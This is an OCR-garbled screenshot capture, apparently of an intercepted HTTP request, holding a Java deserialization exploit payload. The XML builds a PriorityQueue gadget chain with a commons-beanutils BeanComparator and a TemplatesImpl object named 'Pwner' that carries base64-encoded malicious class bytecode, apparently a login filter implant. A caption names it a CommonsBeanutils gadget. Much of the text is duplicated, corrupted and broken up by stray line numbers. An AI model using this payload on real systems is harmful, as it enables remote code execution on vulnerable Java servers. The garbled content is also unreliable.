1; XQ+AQADKCIWAQAEQ29KkZQEAD@XpbmV0dW1iZXJUYWIsZQEAEKXVY2FsVmFyaWF ibGVUYWJ s ZQEABHRoaXMBABNMUmVzawW4vTGInaW5Gaw
or class="org.apache.commons.beanutils.BeanComparator">
<property>outputProperties</property>
<comparator class="org.apache.commons.collections.comparatorg.ComparableComparator"/>
</comparator>
</default>
&
or class="org.apache.commons.beanutils.BeanComparator">
<property>outputProperties</property>
<comparator class="org.apache.commons.collections.comparators.ComparableComparator"/>
</comparator=>
</default>
&
X20;<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwner</__name>
<__ bytecodes>
<byte-array>yv66vgAAADIANgoACgAkBwALCAAMCgACACCIACgKACKAKgoAAgArBwAsBwAtBwAUAQAGPGLu
x20;<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwner</__name>
<__ bytecodes>
<byte-array>yv66vgAAADIANgoACgAkBwWA LCAAMCgACACCIACgKACKAKgoAAgArBwASsBwAtBwAUAQAGPGLu
a; XI7AQAJdHIhbnNmb3JtAQByKExXjb2@vc3VulL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvREONO1tMY29tL3N1bi9vemevYX
a; XI7AQAJdHIhbnNmb3JtAQByKExXjb2@vc3VulL29yZy9hcGFjaGUveGFsYWavaW50ZXJuYWwveHNsdGMvREONO1tMY29tL3N1bi9vemevYX
VybmFsL3hzbHRjLORPTTsBAAhoYW5kbGYycwEAQLtMY29tL3N1bi9vemevYXBhY2h LL&#
VybmFsL3hzbHRjLORPTTsBAAhoYWS5kbGYycwEAQLtMY29tL3N1bi9vemevYXBhY2h 1L&#
x33;htbCO9pbnR1cm5hbC9zZXIpYWxpemVyLIN1cmlhbGl6YXRpb25IYW5kbGVYyOWEACKVAY2VwdG1lvbnMHAC8BAKYoTGNvbS9zdwW4vb3InL
x33; htbC9pbnR1cm5hbC9zZXIpYWxpemVyLINLcmLhbGloYXRpb25IYWS5kbGVyYyOWEACKV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdwW4vb3JInL
3; vYXBhY2h1L3htbC9pbnR1lcm5hbC9zZXIpYWxpemVyLIN1cmlhbG1l6YXRpb25IYWS5kbGVyOy IWAQATaXR1cmF@b3IBADVMY29tL3N1bi9v
3;vYXBhY2hlL3htbC9pbnR1lcm5hbC9zZXIpYWxpemVyL1IN LcmLhbGL6YXRpb25IYW5kbGVyOy LWAQAIaXRlcmF@b3IBADVMY29tL3N1bi9v
emVyLIN1cmlhbGL6YXRpb25IYW5kbGVYOwEACDX jbGluaXQ+AQANU3RhY2tNYXBUYWIsZQcALAEACINvdXJj ZUZpbGUBABBMb2dpbkZpbHR
emVyLIN1cmlhbGl6YXRpb25IYW5kbGVyOwEACDX jbGluaXQ+AQANU3RhY2tNYXBUYWIsZQcALAEACINvdX]jZUZpbGUBABBMb2dpbkZpbHR
x41; AGADUBABNQYXZhL2 LvL@LPRXhj ZXBO@aWIuAQARUmMYzaW4vTGOnaW5GaWx@ZXIBAEBjb2@vc3VuL29yZy9hcGFjaGUveGFsYW4vaWs02
x41; AGADUBABNgYXZhL2 1vLO1PRXhj ZXBO@aW9uAQARUmMYzaW4vTGI9naW5GaWx@ZXIBAEBjb2@vc3VuL29yZy9hcGFjaGUveGFsYW4vaWse2Z
1; VKExgYXZhL2xhbmcvU3RyaW5n0y IWAQAQamF2YS9sYW5nL IN@cmluZwEACGd LdEJ5dGYzAQAEKC 1bQgEABXdyaXRLAQAFKFtCKVYAIQAJ
1; VKExqYXZhL2xhbmcvU3RyaW5n0y WWAQAQamF2YS9sYW5nLIN@cmluZwEACGd LAEJ5dGYzAQAEKC LbQgEABXdyaXRTAQAFKFtCKVYAIQAJ
or class="org.apache.commons.beanutils.BeanComparator">
<property>=outputProperties</property>
<comparator class="org.apache.commons.collections.comparators.ComparableComparator"/>
</comparator>
</default>
&
orclass="0rg.apache.commons.beanutil%.BeanComparator">
<property>outputProperties</propefrty=

. p— p—

B] LA#Hr{EE A 7 CommonsBeanutils 1 CC3 AY gadget.,
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Request

Raw \n Actions

30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

<_ bytecodes>
<byte-array>yv66vgAAADIANgoACgAKBwATCAAMCgACACcIACgKACKAKgoAAgArBwAsBwAtBwAUAQAGPGlu
X20;<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>

uciaudce-~s

<__name>Pwner</__name>

<_ bytecodes>

<byte-array>yv66vgAAADIANgoACgAKBWALCAAMCgACACCIACgKACKAKgoAAgArBwASsBwAtBwAUAQAGPG LU

a; XI7AQAJdHIhbnNmb3JtAQBYKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4AvaW50ZXIuYhwveHNsdGMvREINO1tMY29tL3N1bi9vemevY
a; XI7AQAJdHIhbnNmb3JtAQBYKExjb2@vc3VulL29yZy9hcGFjaGUveGFsYW4dvaWs0ZXJuYhWwveHNsdGMvREINO1tMY29tL3N1bi9vemevY
VybmFsL3hzbHRjLORPTTsBAAhoYW5kbGVycwEAQLEMY29tL3N1bi9vemevYXBhY2h 1L&#
VybmFsL3hzbHRjLORPTTsBAAhoYWS5kbGVycwEAQLEMY29tL3N1bi9vemcvYXBhY2h LL&#
x33;htbCI9pbnR1cm5hbC9zZXIpYWxpemVyLIN1lcmlhbGl6YXRpb25IYWS5kbGVYOWEACKV4Y2VwdGlvbnMHACSBAKYoTGNvbS9zdW4vb3Inl
x33;htbCI9pbnR1cm5hbC9zZXIpYWxpemVyLIN1cmlhbG16YXRpb25IYW5kbGVyOWEACKV4Y2VwdGlvbnMHACSBAKYoTGNvbS9zdW4vb3Inl
3;vYXBhY2h1L3htbC9pbnR1lcm5hbC9zZXIpYWxpemVyLINlcmlhbGl6YXRpb25IYW5KkbGVy Oy IWAQATIaXR1cmFOb3IBADVMY29tL3N1bi9
3;vYXBhY2h1L3htbC9pbnR1lcm5hbC9zZXIpYWxpemVyLINlcmlhbGl6YXRpb25IYW5kbGVy Oy IWAQATaXR1cmFOb3IBADVMY29tL3N1bi9
emVyLIN1cmUlhbGLEeYXRpb25IYW5KkbGVyYyOwEACDX ) bGluaXQ+AQANU3RhY2tNYXBUYWIsZQcALAEACINvdXJ j ZUZpbGUBABBMb2dpbkZpbHH
emVyLIN1cmlhbGLOYXRpb25IYW5KkbGVyOwEACD X bGluaXQ+AQANU3RhY2tNYXBUYWIsZQcALAEACINvdXJ j ZUZpbGUBABBMb2dpbkZpbHH
x41; AOADUBABNQYXZhL2 LvL@ LPRXhj ZXB@aWIuAQARUmMVzaW4vTGInaW5GaWx@ZXIBAEB]jb2@vc3VulL29yZy9hcGFjaGUveGFsYW4vaW507
x41; AOADUBABNgYXZhL2 LvL@ LPRXhj ZXB@aWIuAQARUMVzaW4vTGOnaW5GaWx@ZXIBAEB] b20vc3VulL29yZy9hcGFjaGUveGFsYW4vaW502
1; VKExqYXZhL2xhbmcvU3RyaW5n0y LWAQAQamF2YS9sYW5nLIN@cm luZwEACGd LdEJ5dGYVzAQAEKC LbQgEABXdyaXR LAQAFKFtCKVYAIQA]
1; VKExqYXZhL2xhbmcvU3RyaW5n0y IWAQAQamF2YS9sYW5nLIN@cm luZwEACGd 1dEJ5dGYVzAQAEKC LbQgEABXdyaXRLAQAFKFtCKVYAIQA]
or class="org.apache.commons.beanutils.BeanComparator">

<property>outputProperties</property>
e O T e U T L S S U Ty T P T T UMM O S U L T S T UM T LU T S UM T e e O T O T ot
</comparator>
</default>
&
or class="org.apache.commons.beanutils.BeanComparator'>
<property>outputProperties</property>
<comparator class="org.apache.commons.collections.comparators.ComparableComparator"/>
</comparator>
</default>
&
AA4AAAAGAAEAAAAZAABAAAAgGAAMAAAABABAAEQAAAAAAAQAUABUAAQAAAAEAFgAXAATAGAAAAAQAAQAZAAEAEGARAATADQAAAEKAAAAEAAA
AA4AAAAGAAEAAAAZAABAAAAGAAMAAAABABAAEQAAAAAAAQAUABUAAQAAAAEAFgAXAATIAGAAAAAQAAQAZAAEAEQARAATADQAAAEKAAAAEAAA
x51; AAABa7AAJZEgO3AAQSBbYABrYAB6cABEUXAAEAAAARABQACAADAA4AAAASAAQAAAARABEAEWAUABIAFQAUAABAAAACAAAATAAAAACAA
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indent
x51; AAABa7AAJZEgO3AAQSBbYABrYAB6cABEUXAAEAAAARABQACAADAA4AAAASAAQAAAARABEAEWAUABIAFQAUAABAAAACAAAATAAAAACAA
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indent
e;umber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<com.sun.org.apach
e;umber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<com.sun.org.apach
e.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.Templa
</java.util.PriorityQueue>
</java.util.PriorityQueues|

XEmELL yvebvgAaAD FFELB]DLFITE base64 BFEIIME payload, E1d XN MEEIE, F2 TEARE.

yv66vgAAADIANgoACgAKkBWAICAAMCGACACCIACgKACKAKgoAAgArBwAsBWAIBWAUAQAGPGIUjXI7AQAJdHJhbNNmMb3JtAQBYKEXjb20ve3Vul29yZy
9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMVREONO1tMY29tL3N1bi9vemcvYXBhY2hIL3htbCOpbnRIcm5hbC9zZXJpYWxpemVyL1NIcmIhbGI6
YXRpb25IYW5kbGVyOyIWAQAIZGOjdW1lbnQBACTMY29tL3N1bi9vemcevYXBhY2hIL3hhbGFulL2ludGVybmFsL3hzbHRJLORPTTsBAAhoYW5kbGVycwE

AQItMY29tL3N1bi9vemcevYXBhY2hIL3htbCOpbnRIcm5hbC9zZXJpYWxpemVyLINIcmIhbGIGY XRpb251YWEkbGVyOwWEACKVAY2VwdGIvbnMHAC8BAK

YoTGNvbS9zdW4vb3JInL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ETO07TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHR

tLORUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vemcvYXBhY2hIL3htbCOpbnRIcm5hbC9zZXJpYWxpemVyLINIcmIhbGIBY XRpb251YW5kbGVyOylIWAQAI

aXRIcmFOb3IBADVMY29tL3N1bi9vemcvYXBhY2hIL3htbC9pbnRIcm5hbCOkdGOVRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9
vemevYXBhY2hIL3htbCOpbnRIcmbhbC9zZXJpYWxpemVyLINIcmlihbGI6YXRpb251YW5kbGVyOwWEACDXjbGluaXQ+AQANU3RNY2tNYXBUYWJsZQcA
LAEACINvAXJjZUZpbGUBABBMb2dpbkZpbHRIci5qYXZhDAALAAWBABhQYXZhL2IvLOZpbGVPAXRWAXRTAHJIYWOBABOEOIXXRUFWRVJCZWNvVbG9O
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neVxjc3NcbG9naW4uY3NzDAALADABAAVsb2dpbgcAMQWAMgAZDAAOADUBABNQYXZhL2IVLOIPRXhjZXB0aWOuAQARUMVzaW4vTGInaW5GaWx0
ZXIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuY WwveHNsdGMvenVudGItZS9BYNNOcmFjdFRyYW5zbGVOAQASY29tL3NTbi9vemcevY X
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